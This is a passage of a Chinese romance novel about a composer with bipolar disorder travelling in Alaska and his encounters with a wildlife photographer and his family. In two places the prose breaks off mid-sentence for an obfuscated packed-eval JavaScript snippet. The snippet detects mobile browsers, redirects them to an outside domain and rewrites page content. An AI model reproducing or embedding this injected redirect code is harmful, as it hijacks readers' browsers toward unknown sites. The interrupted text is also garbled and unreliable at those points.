《在阿拉斯加的春天》 1. 极地初遇 为了躲避一头横穿公路的驼鹿，顾灯连人带车冲进了雪地里，万幸人没有受伤，只是发动机熄了火。 3月，阿拉斯加道尔顿公路风雪肆虐，室外气温低至零下30度，信号全无，只有无线电可以和附近的司机通信。顾灯发布求救信号后十几分钟，频道内都没有任何回应。 车窗玻璃开始结冰，顾灯呼出一口冷气，从背包里翻出户外羽绒服穿上。 依旧无人回应。 窗外大雪弥漫，一场北极风暴正在形成。 直到现在顾灯才不得不承认，自驾道尔顿公路的行为确实太冒险了。他经常会在轻躁狂发作时轻率做出决定，等恢复正常后又追悔莫及。 起初他来阿拉斯加只是想观鲸，可观鲸团最早也要4月开放，他来早了整整半个月，于是他决定开车去北极。 当时租车公司的人就劝过他不要单独前往，说道尔顿公路环境恶劣，是全球最危险的公路之一。可惜顾灯对此毫不在意，他当时信心十足，渴望冒险，觉得自己能做一切事情——典型的轻躁狂前期征兆。 他本该心生警惕，联系主治医生和值得信任的亲友，交出车钥匙，不再做出任何重大决定。 可顾灯把躁狂预防合同撕了，去户外品牌店购入耐极寒冲锋衣，灌了两桶油，去超市打包了3天的食物，兴冲冲地把车开上了死亡公路。 他受够了一次次的情绪反复，也疲于持续去做情绪管理。他想要自由的哭，放肆的笑，而不是每次情绪波动都要腾出时间，去写那个该死的情绪日记！ 当他开车沿着道尔顿公路一路北上，听着旅行歌单，看着逐渐荒芜的原野，顾灯感到了一股前所未有的幸福和自由。 这种幸福只持续了两小时，然后他的车抛锚在了无人之地。 频道内依旧没有回音，顾灯已经疲于一遍遍描述自己的事故遭遇。更重要的是，他突然有些记不清，当时究竟有没有驼鹿横穿公路。 可如果没有驼鹿，他怎么会出事？可如果有驼鹿，他又怎么找不到任何脚印？ 顾灯吃了一粒拉莫三嗪，意图冷静。可药效似乎没有发挥作用，因为他决定下车去找驼鹿的脚印。 他独自走在雪地中，大雪模糊了公路和荒原的痕迹，只有两排窄窄的路标指引方向，仿佛末日里的场景。 顾灯看着这一幕，心中突然涌起一股奇异的感动和宁静。他想，死在这里似乎也没什么好可惜。 偏偏事与愿违，前方突然传来一阵轰鸣，黄光穿透风雪，一辆改装福特猛禽缓缓驶近。车窗降下，露出司机高大的身影。 “是你发的求救信息？” 一个相当英俊的亚裔，英语没有口音，顾灯无法分辨他的国籍。 “是我，”皮卡太高了，顾灯不得不仰起头说，“我的车抛锚了，能搭个便车吗？” “你去哪儿？” “死马镇。” “我只到冷脚。” “也可以。” 男人于是打开车门，顾灯先是道谢，又请对方允许他回去拿行李。男人没说话，人下车和他一起过去。 顾灯行李不多，但后备箱里还有两桶油。油桶太重，顾灯一下没能提起来，还想再试，一只大手伸来握住手柄，男人一只手拎着一桶油，垂眸问他：“还有吗？” “没了。”顾灯说。 男人便转身往回走去，他有着一身令人羡慕的肌肉，提着两桶油走在雪地中，如履平地。 顾灯提着行李箱跟在他身后，说：“非常感谢您的帮助，我叫顾灯，请问您怎么称呼？” “章离。” “中国人？” “是。” “啊……！”顾灯开心地换成了中文，但又立刻失落起来，“你不认识我啊？” “认识。”章离用中文回答。 “吓我一跳，”顾灯这才笑了起来，“我刚才都有点儿伤心了。” 章离：“抱歉。” “我开玩笑啦，”顾灯摇头，语气真诚道，“而且该我说对不起才对，还好遇见了你，不然我都不知道该怎么办了。” 章离摇摇头，似乎早已习惯路人的热情感谢。他把油桶放进皮卡货箱，顾灯也放好行李坐进副驾驶。 看着前面的茫茫风雪，顾灯突然问：“你看到驼鹿的脚印了吗？” “什么脚印？” “我撞到驼鹿才出的意外，可我现在找不到驼鹿的脚印了。” 章离抬头看向前方，只有两道歪斜的车辙印。他说：“可能被雪盖住了。” “哦。”顾灯似乎被这个解释说服，松了口气。 二人驱车上路，车内暖气充足，顾灯觉得有些热，脱掉羽绒服搭在了膝盖上。章离依旧沉默，除了最初的简短交流，此后就没再开过口。 顾灯有点儿憋不住，问：“可以听歌吗？” 章离点头，顾灯就连上wifi，轻快的音乐弥漫在车厢中，他随着音乐晃动身体，看起来似乎很高兴。 过了一会儿，顾灯又问：“我有点儿饿了，可以在车里吃东西吗？” 得到允许，顾灯探到后座打开背包，从里面拿出两个三明治，拆开一个递过去：“你吃吗？” 章离说不用，顾灯于是自己吃了起来，他双手捧着面包，几乎没有发出咀嚼声。吃完三明治后，顾灯把垃圾塞回包里，掏出一个巴掌大的笔记本开始写东西。 这时候，顾灯突然变得非常安静。这种安静具有一种排他性，他彻底沉入了自己的世界里。 直到章离停车喊他名字，顾灯这才从自己的世界中抽离，有些茫然地抬头：“怎么了？” 章离说前方有车辆侧滑，他要下去看看情况，顾灯看了眼GPS，才发现他们已经抵达了手指山。这里已经快要接近北极，偏偏又是一处长上坡路段，因为山体孤立，冬季盛行大横风，再加上风吹雪掩埋道路，极易发生事故。 前方这辆车就陷进了雪地里，目前来看只是轨迹稍有偏离，没有侧翻的痕迹。 章离和车主做了简单沟通，连上绞盘给受困车辆做牵引。他似乎已经很习惯这样的场景，全程操作熟稔，游刃有余。 车辆成功脱困，车主下车依次和他们说谢谢，还硬要塞一个鹿角给章离当谢礼。章离数次婉拒。 顾灯热闹看得正起劲儿，没想到又有个女人下车朝他走来。 对方怀里抱着一坨东西，顾灯义正言辞说不用。没想到女人掀开帽子，竟露出一双忽闪忽闪的大眼睛。 顾灯人都懵了，女人笑着说：“宝宝想亲自感谢你们。” “啊？”顾灯茫然，“怎么感谢？” “哥哥，手。”小朋友才刚学会说话，口齿不清。 顾灯有些茫然地伸手，小女孩儿挥着胳膊，往他掌心里放了两颗糖。 这种体验有些新奇，顾灯捏了捏小朋友手套，笑着说了声谢谢。 小朋友却急了，哥哥的手那么大，她给的糖也太少了！ 于是她又伸进口袋掏啊掏，戴着手套一通乱抓，不仅没抓到糖果，反而把糖全都弄到了雪地里。孩子更急了，身体一挣就要下去捡，妈妈差点儿没逮住。 顾灯哪儿能让孩子真落地，外面风这么大，孩子才这么丁点儿，指不定一下就被吹走了。顾灯下车捡起糖果，客客气气地把这对母女送了回去。 爸爸在章离那里遭遇滑铁卢，一脸遗憾地扛着鹿角回来，看见顾灯又眼前一亮，举着鹿角朝他飞奔而来，吓得顾灯拔腿就跑。 “吓死我，差点儿没跑掉，”顾灯坐进副驾驶，又有些好奇，“不过那是真的鹿角吗？” 章离说是。 “哦。”顾灯应了一声，突然变得有些安静。 事故车辆重新上了路，章离驱车缓缓跟随，直到这家人顺利翻过五指山，才超车往前去了。 大雪散去，阳光重新照亮极地针叶林，一只驼鹿突然出现在静谧的森林里。它仰头去吃树上的枝叶，巨大、温柔又安静，像是只会出现在梦里的情景。顾灯目光追随，直到驼鹿彻底消失在视线里。 顾灯：“你看见那只驼鹿了吗？” “没有。” “抱歉，我应该早点叫你。” “没关系。” “下次看见我提前告诉你。” “嗯。” 皮卡沿着输油管道朝北前进，顾灯剥了个糖放进嘴里，酸酸甜甜的，很浓的葡萄味儿。 他拆了个给章离，后者没接。 “吃吧，”顾灯说，“小朋友特意送你的谢礼。” 章离于是拿起糖吃了，他其实长得有些严肃，高大健壮的体格也很有压迫感，但此时脸颊因为吃糖鼓起一小块儿，看起来莫名有点儿呆。 经过手指山后再开20公里就是北极圈，顾灯下车打了卡，但说实话，他觉得这个景点非常普通，除了有个写着北极圈的路牌，压根儿没有什么特殊的风景。 他反而更喜欢后面停车的地点，那时太阳已经快要落山，天空中出现一大片粉紫的云彩，章离突然把车停下，拿着相机下了车。这里的树比之前的更矮了，稀稀朗朗地长在雪地里，把大地变成了一只毛茸茸的小动物。 章离朝着森林走去，顾灯也跟着下了车，他小心翼翼地靠近，终于看见了章离要拍的那群小东西。几乎只有巴掌大的小山雀，羽毛蓬松，有着漆黑的头顶，正在林间一起一落地跳跃，时不时发出阵阵脆鸣。 很可爱的小东西，顾灯被它们吸引，可章离却放下相机往回走，一张照片也没有留。 “你怎么不拍了？”顾灯纳闷。 “我认错了。” “什么？” 章离用相机拉近距离，让顾灯凑近取景器：“看见这些山雀的头顶了吗？黑的。” 顾灯：“嗯，看见了。” 章离又说：“我在找一种和它们很像的鸟，叫西伯利亚山雀，我刚才弄混了它们的叫声。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15463569|169754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哦，原来是这样，”顾灯点头，又问，“可你为什么要找那种鸟？” 章离收起相机，解释：“西伯利亚山雀很少出现在阿拉斯加，我在帮助本地一所大学的鸟类实验室搜集资料。” “听起来很有趣，”顾灯眼睛亮了起来，“所以你是鸟类学家？工作就是在野外研究鸟类？” “不，”章离说，“我是野生动物摄影师。” 天空蔚蓝，雪粉被夕阳照亮，发出钻石一样的光芒。雪地里有黑影起伏，是黑顶山雀在树枝间跳跃。 顾灯面露憧憬：“做这种工作很幸福吧？” 章离：“还行。” 顾灯：“我能录一下它们的声音吗？十分钟就行。” 章离说可以。 顾灯连忙跑回车里拿设备，麦克风、录音器、监听耳机一样不缺，他甚至还给收音话筒套了件毛衣。他早就想录一些环境音了，但坐着车别人的车，一直没好意思开口。 顾灯小心翼翼地靠近，把麦克风对准山雀，耳机里同步传来清脆的鸟鸣。 他说是十分钟，果然一点儿也没超时，第9分钟时顾灯就取下耳机，回了车里。从他脸上的表情来看，应该是录到了很满意的东西。 他们在天黑时抵达了冷脚镇，这是道尔顿公路上唯一一个小镇，大部分人会在这里停车补给，休整一晚再去死马镇。 章离停好车，顾灯还在看手机，他戴着耳机，完全没有注意到周围的变化。 “嗡嗡——” 手机声响，章离下车接通电话。 “你在哪儿？”史密斯的声音响起。 “停车场。” “行，我过来找你，”男人又说，“正好一起吃晚饭。” “再说。” “那我先来拿东西。” 章离挂断电话，发现顾灯已经取下耳机，有些茫然地打量着周围的环境。章离重新回到车里。 顾灯问：“到冷脚镇了？” “嗯，”章离抬手一指，“旅馆在那儿。” “好，谢谢你。”顾灯解开安全带，绕到后座去拿行李。 天已经全黑了，淡绿色的极光在头顶闪烁，一排重卡停在周围，像是汽车人集结。 顾灯背上背包，章离帮他拿行李箱，还有两个油桶。 顾灯抽起箱拖杆，说：“油你留着吧，算这一路的油费。” 章离：“不用。” 顾灯开始翻钱包：“那我给你现金。” 章离：“我不是这个意思。” “那你把油收下，”顾灯说，“你不带走，我都不知道要怎么处理。” 章离沉默几秒，这才说了行。 顾灯挥手：“那我先走啦。” 章离：“再见。” 顾灯说完却没有离开，他指了指身后的旅馆，问：“你今晚也住这儿？” 章离：“我住朋友那儿。” “哦，”顾灯有些失落，“那我们应该见不着了。” 这话不好接，章离没有回应。 与此同时，史密斯过来找他拿设备。章离把东西给他，一转身却发现顾灯还在这里。 他穿着一件颇有设计感的硬壳冲锋衣，头戴复古监听耳机，黑色外套和极白的肤色对比，看上去剔透又纯净。 “章，一起吃晚饭？”史密斯的声音响起。 章离却径直朝着顾灯走去，站在他面前问：“你还有事？” 顾灯冲他招了招手：“你头低一点。” 章离低下头，顾灯往他头上扣下耳机。 降噪耳机瞬间隔绝了外界的一切噪音，章离有些茫然地抬头——闭眼。他看见顾灯做出口型，然后按下播放键。 阿拉斯加夜空下，寒风呼啸而过。章离闭上眼，安静地听完了这两分钟。一首温柔的钢琴曲，情绪很淡，透着孤独，却也有一种很浅的感动。 音乐结束，章离缓缓睁开眼睛。 他有着一副深邃的眉眼，鼻梁高挺，面部折叠度高，再加上话少，给人一种凶悍冷漠的印象。但当他低头取下耳机，眼神却多了一分温柔。 “你在路上写的？”他听出了里面的鸟鸣和雪落。 “嗯，”顾灯问，“你喜欢吗？” “喜欢。” “那送你吧。” 章离愣了下：“送我？” “对啊，”顾灯说，“我把音频发你，你想怎么用都行。” 暂且不论顾灯身份摆在这里，就算是一个普通的作曲人，也不会随手送出这么珍贵的东西。 他们用的是同一款手机，顾灯把文件隔空投送过来，章离依旧没有做出反应。 顾灯挥手，说：“再见。” 章离终于抬起头，他开口叫住顾灯，眼中多了一些别的东西：“为什么送我这个？” “谢谢你啊，不过也是收买你，”顾灯冲章离眨了下眼，笑着说，“我的行踪，还请替我保密。” 2. 酒吧重逢 旅馆环境不太好，外面又一直有卡车进出，顾灯一晚上都没怎么睡。第二天，顾灯吃了顿难吃的早餐，和保险公司处理完后续工作，报了个小团去死马镇。没人认出他，顾灯戴着口罩耳机，一路睡了过去。 再次醒来，窗外景色全变了，山和树木完全消失，连动物也不见踪迹，积雪仿佛沙漠覆盖大地，他们正行驶在极地荒漠里。 很难想象世界上还有这样的地方，更难想象的是，连这样的地方居然也有了人类的足迹。 他们在天黑前抵达了死马镇，这是一个因石油开采繁荣起来的小镇，也是道尔顿公路的官方终点。但从地图上看，这里距离北冰洋还有七八公里的距离。 顾灯找到领队想要继续北上，导游很有原则，说因为政策和安全原因，死马镇就是游客能抵达的最北点。 顾灯：“我加钱。” 领队：“加钱也不行。” 顾灯说出个数字，领队被他的真诚打动，联系石油公司员工，让他顺利混了进去。 顾灯换乘公司内部车辆入内，可哪怕如此，他依旧没有看到自己想看的东西。这里到处都充斥着人类工业的痕迹，沿途布满钢架和集装箱，领队指着前方，说那里就是北冰洋。 顾灯抬头望去，沿海油田亮着一排灯，突兀又诡异。 回程路上顾灯突然变得非常安静，他又失眠了，不得不服用安眠药和镇定剂。轻躁狂迅速消失，他开始进入漫长难熬的抑郁期。 接下来的旅程顾灯都提不起任何兴趣，他浑浑噩噩地回到费尔班克斯，呆在酒店再也没有出去。直到一周后，他接到旅行社电话，说他预约的观鲸团就要出发了。 顾灯其实已经没那么想看了，毕竟他早就在网上看了无数遍鲸鱼视频。 今晚睡着前，他又打开了手机里的视频。 正值黄昏，天空呈现漂亮的粉紫色，海水平静，像西湖水一样浓稠、肥厚、富有光泽。突然间，水面荡起一阵涟漪，座头鲸跃出海面，留下一片梦幻的光影。 顾灯反反复复看了好多遍，又把视频保存到手机，借此熬过了无数次难捱的抑郁期。 视频看了一遍又一遍，顾灯还是决定去看看鲸鱼。观鲸那天天气很好，阳光明媚，西沃德小镇色彩缤纷，顾灯戴着口罩墨镜，用望远镜搜寻鲸鱼。 出航3个小时，他们始终没有看见鲸鱼，顾灯几乎已经快要放弃。就在这时，广播突然传来播报，说前方发现了鲸鱼的踪迹。 游艇一路飞驰，20分钟后顾灯终于看见了座头鲸。 周围霎时响起一阵欢呼声，顾灯也跟着兴奋起来。这时候他确实是开心的，也拍了很多照片和视频。可这种开心存在的时间太短了，别人看见鲸鱼能开心好几天甚至是几个月，可顾灯的开心却只能维持几小时，几分钟，甚至是只有看见鲸鱼的那一瞬。 返程时，同船旅客兴奋地交流着观鲸体验，顾灯独自回看视频，突然发现座头鲸皮肤布满旧伤，大片白色藤壶寄生表面，像一只只患了白内障的眼睛。看着密密麻麻的藤壶，他突然感到一阵恶心，忍不住低头干呕起来。 有人过来询问是否要帮忙，顾灯摇头，说自己只是有些晕船。 下船后这种不舒服的感觉更明显了，顾灯不敢开车回安克雷奇，打算在西沃德住一晚再回去。 他在西沃德睡了两天，不仅没有好转，反而变得更加焦虑。因为他始终无法忽视看见藤壶的冲击，哪怕他删掉视频，吃了镇定剂，依旧不能从绝望中逃离。 对他来说，鲸鱼是自由和美好的象征。在他因为各种事情陷入痛苦时，在遥远的阿拉斯加，却有鲸鱼正在跃出海面。每当这时，他心里就会涌出一种治愈的东西，支撑着他继续活下去。 可这一刻，那种美好的想象幻灭了——原来连鲸鱼都不是完全自由，它们同样会遭遇环境污染，被藤壶寄生，受到螺旋桨的伤害，甚至是人类的捕猎。 第三天，顾灯终于驱车返回安克雷奇，车载广播说海边有一头搁浅的虎鲸，有工作人员抵达，正在组织救援帮助虎鲸重回大海。为了驱散藤壶给他带来的冲击，顾灯决定去看一看这头虎鲸——不被藤壶寄生的鲸鱼。 抵达时空中正下着小雪，路面泥泞，顾灯停好车，挤入围观的人群。人群中传来一阵叹息，然后有人轻声哭泣。 此时顾灯还不知道发生了什么，直到他走到最前面，霎时间愣在了那里——他看见了一头死去的虎鲸。 顾灯面前就是虎鲸的眼睛，非常小，灰白的眼球堆在耸立的眼皮上，像是月球上被砸出的陨石坑。 顾灯呆呆和它对视，大脑突然轰的一声，他的世界崩塌了。 一股强烈的恶心直冲脑门，顾灯转身冲出人群，忍不住弯腰呕吐。食物残渣从他喉咙里涌出，像是被嚼碎的内脏从身体里脱落。顾灯闻见自己身上发出的臭气，看见腐液渗出毛孔，就好像，他已经变成了一具尸体。 “叔叔，你还好吗？”一道清脆的声音响起。顾灯埋着脑袋，没有回应。 “叔叔，需要帮你叫救护车吗？”小女孩儿的声音又近了些。顾灯终于抬起了头，出现在他面前的是一个穿红色羽绒服的小女孩儿，她看上去只有五六岁，双眼漆黑，表现沉着而冷静。 不用。 顾灯张嘴想要拒绝，可奇怪的是他一开口就变成了抽噎。顾灯想让自己停下来，喉咙却堵得厉害。他一个字也说不出来了，只得虚弱地抬起右手，用力摆动。 小女孩儿蹲在他面前，说：“可是叔叔，你看起来真的很难受。” 顾灯用力呼吸，终于挤出一句破碎的回应：“没关系的，对不起……” “行吧，那我就在这里陪你，”小女孩儿在他旁边坐下，双手圈住膝盖说，“难受记得告诉我。” 顾灯摇头，不想给小朋友留下阴影。 小女孩儿却拍了拍他肩膀，用大人的语气安慰：“没事的，会好起来的。” 顾灯把脑袋埋进臂弯，肩膀小幅度地颤抖起来。 他情绪崩溃得非常突然，但也消失得极为迅速。滔天的痛苦瞬间蒸发，顾灯抬起头，已经有些想不起来，自己刚才在难过什么。 真神奇，他又恢复成了正常人的样子。 也就是这时，顾灯发现小女孩儿还在这里。 见他抬起头，女孩儿非常自来熟地说：“我叫阿里，有狮子、太阳、海洋的意思。你也可以叫我阿格维奇，这个名字传承自我的曾外婆，在因纽特语言里是弓头鲸的意思，不过大家都说这不太好发音。” 顾灯吸了吸鼻子，说：“你可以叫顾灯。” 女孩儿没听清，歪头问：“Good？” 顾灯没有纠正她的发音，于是阿里又问：“Good叔叔你好些了吗？” 顾灯：“好多了，谢谢你。” 阿里点点头，抱着膝盖继续坐在沙滩上。她没有再说话，只是一动不动地看着虎鲸的尸体。 阿里一直都是一个人，直到顾灯准备离开，依旧无人接应。顾灯有点儿不放心，问阿里家长在哪儿。 “爸爸在叔叔店里，妈妈在工作。”阿里说。 顾灯突然意识到了问题的严重性：“你自己出来的？” “还有曲奇，”阿里说，“我们一起来看虎鲸。” 顾灯这才松了口气，说：“好，叔叔陪你去找曲奇。” “曲奇不用找，它一直乖乖待在那里。”阿里抬手往自行车旁一指，喊，“曲奇，和叔叔打招呼。” 阿拉斯加犬：“汪~！” 顾灯：“……” 顾灯头又疼了起来，蹲下身问阿里：“你家在哪儿？我送你回去。” 阿里：“我可以自己回去。” 顾灯语气严肃起来：“上车，我送你。” 阿里表情警惕：“爸爸告诉我，不能随便上陌生人的车。” 顾灯：“你拍照把我车牌号发给爸爸，然后我送你回去。” “噢饶了我吧，”阿里翻了个白眼儿，埋怨起来，“你看起来就像是一只保护欲旺盛的母鸡。” 顾灯拍下车牌号，面无表情：“离家出走的小孩子没有资格抱怨。” “我没有离家出走，我只是出门玩稍微走远了一些，”阿里哼了一声，嘟起肉肉的脸颊说，“而且我马上就六岁了，我已经不是小孩了。” “是，我们大人骑自行车都用辅助轮。” 阿里：“……” 顾灯把儿童自行车塞进后备箱，在导航里输入阿里告诉他的地址。到了后才发现那竟是个酒吧，顾灯把车停在门口，回头问翘着二郎腿的阿里：“你家在这儿？” “yes，”阿里打了个响指，“实话告诉你，我是这家酒吧的乐队主唱。” 顾灯：“你父母同意吗？” “当然不同意，”阿里说，“但我威胁他们，如果不同意我当主唱，我就回老家跟外婆学习做萨满。” 顾灯：“……” “我很感激你的帮助，但我现在没心情陪你玩游戏，”顾灯正色道，“现在你有两个选择，告诉我你家的正确地址，或者让你爸爸来接你。如果你都不愿意，那我就送你去警察局。” “叔叔你变了，”阿里瘪嘴，“你变得和我爸爸妈妈一样唠叨了。” 顾灯：“我们成年人都这样。” “……” 阿里委屈拨通电话，喊爸爸出来接她。 几分钟后，突然“哗啦”一声响，卷帘门拉开，一个穿着黑色冲锋衣的男人走了出来。 “Daddy！”阿里朝着男人扑去。 男人单手摸她头顶，用很熟稔的语气喊她阿格维奇——竟然是章离。 顾灯关上车门准备离开，章离松开阿里走到他面前，说又见面了。 顾灯嗯了声。 章离：“进来坐会儿？” “不了。”顾灯转身离开，阿里却一把抓住他右手，很霸道地说，“进来，我唱歌给你听。” 顾灯被阿里逮了进去，经过一条长长的走廊，来到了一个开阔的房间里。酒馆左边是酒柜和调酒区，中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15463570|169754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间是一片桌椅，房间另一头做了抬高，摆放着架子鼓、钢琴等乐器。 阿里抓着顾灯一直走到吧台旁，手脚并用爬上单人椅，冲吧台后的男人打了个响指：“史密斯，给我朋友一杯酒，我请。” 吧台背后，一个身材高大的男人抬起头，他单手拎起阿里，表情严肃：“我警告过你，不许自己偷偷跑出去。” “我没有自己偷偷跑出去，”阿里手脚在空中乱晃，大声驳斥，“曲奇和我一起的！” “汪汪汪！”曲奇兴奋地加入了游戏。 两人一狗进入混战，顾灯找了张椅子坐下，章离在他面前放了杯热水，顺势坐下说：“你后来去死马镇了？” 顾灯：“去了。” 章离：“感觉怎么样？” 顾灯沉默了一会儿，说：“有点奇怪，说不上什么感觉。” 章离没再说话，没过多久，吧台战斗结束，史密斯一手拎着阿里，另一只手端了杯鸡尾酒过来，取得了单方面的压倒性胜利。 “你是章离的朋友吧？我们那天见过的。”史密斯把鸡尾酒放到顾灯面前，说，“我女儿给你添麻烦了，谢谢你送她回来。” 顾灯表情茫然。 “在冷脚啊，”史密斯笑了起来，“那天章给我们送设备，我那时候见过你。” “啊……”顾灯想起来了。 史密斯又说：“听章离说你后来要去死马镇？去了吗？感觉怎么样？” 顾灯：“嗯。” 史密斯：“嗯？” “去了，”章离说，“他觉得有些奇怪。” “该死的油田开发把一切都毁了，”史密斯低声咒骂，“这些贪婪的家伙，现在连北极国家野生动物保护区都不放过。” “爸爸，别伤心。”阿里小脸皱成一团，把自己塞进男人怀里。 “抱歉，让你担心了，”史密斯揉了揉她脑袋，缓和了语气，“我只是有些生气。” 阿里把脸埋进史密斯怀里，过了一会儿又抬头问：“棕熊都看完了？” “看完了，”史密斯说，“6头棕熊电池全换了，但99号生病了，我过几天还要回去。” 顾灯听不懂他们在说什么，章离就和他解释，史密斯是动物学家，正在追踪布鲁克斯山脉棕熊的生活习性，会在每年冬季给冬眠的熊更换追踪设备的电池。几天前章离开车去冷脚镇，就是给他们运送考察设备。 顾灯听完，觉得自己应该要做出反应才行。可奇怪的是，大脑却仿佛没有收到讯号，让他一直面无表情，冷漠得几乎有些不礼貌。 不行，不能继续这样下去。明明只是萍水相逢，这些人却都给了他最大的善意，他不能辜负大家的一片好心。 顾灯喝了口冰凉的鸡尾酒，强迫自己抬起头说：“原来是这样啊，听起来很有趣。” 他甚至试图做出轻快的语气，可颤抖的双手出卖了他的真实情绪。 章离：“你还好吗？” 顾灯：“我很好啊。” 章离看了他一眼，没再出声。顾灯也顺势安静了下来，不用和人交谈，不用寻找话题，让他感到了片刻的安心。他安静地坐在角落里，看着杯子里的冰融化成水。 短短几天不见，顾灯就完全换了副样子。曾经的他活泼、热情、才华横溢，可现在，留在他身上只有不安和焦虑，能量从他身上飞快溜走，把他变成了一块枯萎的土地。 章离试图做点儿什么，可他们只是萍水相逢，他甚至无法进入顾灯的世界。 时间在安静中逐渐过去，随着大门被第一个客人推开，酒吧营业时间到了，安静的空间逐渐热闹起来。 顾灯仿佛终于找到机会，起身说：“谢谢你们的招待，我先走了。” 阿里在和乐队的成员准备演出，闻言从后台探出身体：“Good叔叔，你还没听我唱歌！” 顾灯停下脚步，变得有些犹豫。 章离说：“她的音乐很特别，你应该会感兴趣。” 说实话，顾灯现在对音乐毫无兴趣，这只会让他更加厌恶自己。但他确实也答应过阿里，顾灯犹豫了十几秒，又坐了回来。 工作人员开始发放乐队海报，乐队主题是抗议阿拉斯加北极国家野生动物保护区油田开发计划，海报上印了一对被石油染黑的北极熊母子。 顾灯之前只在网上见过白色的北极熊，憨厚可爱的模样，让人心生向往。可海报上这对熊母子却狼狈又丑陋，给他带来了极大的视觉冲击。 顾灯又想起了虎鲸的尸体，还有那只被藤壶寄生的座头鲸，北冰洋沿海油田灯光刺眼，酒吧里的人群让他感到焦虑。帽子和耳机都在车里，顾灯只得把脸埋进掌心，持续做着深呼吸，强迫自己不会逃离。 有人从他面前路过，不小心碰到桌面，顾灯瞬间绷直了身体。理智上他知道没人在看他，可潜意识里又总会觉得，这些人都在偷偷议论自己。 直到一顶棒球帽落在他头顶，顾灯警惕抬头，却看见章离用身体隔开人群：“你不舒服？我送你回去。” 3. 丧失意义 顾灯几乎立刻就站了起来，早在章离开口之前，他已经无数次想要逃离。 可他一起来就后悔了，因为阿里正从后台走出来，仰着脑袋在人群中搜寻他的身影。一直没能看见顾灯，阿里眼神逐渐暗淡下去。 顾灯呼吸一点点急促，台上焦急期盼的阿里，和多年前的他有了部分重影。那时他比阿里就大了一丁点儿，第一次灯台演出，同样的满怀期待，同样的大人失约。 这件事其实已经过去了很久，事后养父母向他解释了失约的原因，也用别的方式做了弥补。顾灯能够理解他们，也没有任何埋怨的情绪。可不知怎么的，就突然不合时宜地在这里想起了。 舞台上，队友拍了下阿里肩膀，提醒她演出即将开始。阿里点头，但依然舍不得收回视线。 本来也不是多大的事情，不过是一次微不足道的失约，小孩儿或许认为一次演出很重要，可大人也有自己的事情。 可是为什么，他今天依旧没有忘记…… 顾灯轻轻吐出一口气，抬起右手在空中晃动，阿里找到了他，表情由阴转晴，直接在台上蹦了起来。旁边一个男人吹响骨笛，演出开始。 顾灯重新坐了回来，对章离说：“抱歉，我没事，刚才谢谢你了。” “没事。”章离在顾灯对面坐下，抬头看向舞台。 阿里开始唱歌，是一种很独特的民族风格，粗犷、原始、带着远古的神性。顾灯听不懂歌词，但能感受到其中的情绪。 章离告诉顾灯这是因纽特语，歌词是对自然和先祖北极熊的致敬。因纽特人多信仰萨满教，认为万物有灵，在各个部落的神话传说中，北极熊、鲸鱼、渡鸦都曾是他们的祖先。 不应该在这间酒吧里，顾灯心想，这样的歌声应该响在旷野中，飞到天空里。 唱到第二首歌时，史密斯过来问章离：“你什么时候出发？” “一周后。” “你真要全程跟完？那可是接近一千里的路程，太危险了，我很担心你。” “我有数。” “……唉，算了，你这个人，决定的事情就不会轻易更改。好好保重吧，希望我们今年夏天还能再见。” 台上的音乐成为谈话的背景音，就连最亲密的人，也无法彻底接收阿里传递的情绪。 顾灯拉低帽檐，把杯子里的酒一饮而尽，史密斯起身给他调新的酒水，章离却摇头，说给顾灯气泡水就行。 “我要喝酒。”顾灯抬头说。 史密斯看章离，章离说：“他醉了，给他气泡水就行。” 顾灯看了眼章离，没再吭声。 史密斯带着气泡水回来，又和章离谈起了北极国家野生动物保护区油田开发计划的最新消息，两人态度都很悲观。油田开发会改变周围生态环境，破坏野生动物的栖息地。 从他们的对话中，顾灯逐渐得知章离正要做的事情。每年春季，阿拉斯加驯鹿群会从布鲁克斯山脉南麓出发，北迁至北极国家野生动物保护区。年复一年，这样的迁徙已经存在了上万年。如果不受外力干预，可能还会一直延续下去。 可现在，这条存在了上万年的驯鹿迁徙路线，就要因为油田开发而彻底消失。章离打算记录下这一族群的最后迁徙路径，刚才史密斯和章离讨论的就是这件事情。 顾灯抬头看向章离，意图从他冷漠的脸上发现情绪。可他表情依旧淡淡，和情绪饱满的史密斯相比，显得有些过分冷静。 可章离要去记录驯鹿迁徙。 这个工作既不挣钱，甚至还要耗费无数财力精力。更别提路途艰辛，稍有不慎就会失去生命。 什么样的人才会生出这样的想法，并且能够做出执行？顾灯有些疑惑地看向章离。 “怎么了？”章离问。 “这是你拍的？”顾灯看向海报上被石油染黑的北极熊母子。 史密斯好奇：“你怎么知道？” 顾灯：“直觉。” 史密斯又谈北极油田开发计划，这人身材壮得像熊，性格却多愁善感，泪点极低，絮絮叨叨地说如果不是工作和家庭，他也想和章离一起，见证这最后一次的大迁徙。 章离和他碰杯，将水一饮而尽。 史密斯哭了一会儿被他弟弟叫走，只剩下顾灯和章离。 台上的歌又换了一首，唱到第三首歌时，乐队的真实水平终于露出原型。除了第一首歌稍微能听，后面这些都编曲粗糙，乱七八糟，一言难尽。 可阿里还在唱，乐队的其他成员也很认真，哪怕并没有多少人真正欣赏他们的作品。 “有意义吗？”顾灯突然说。 章离：“什么？” 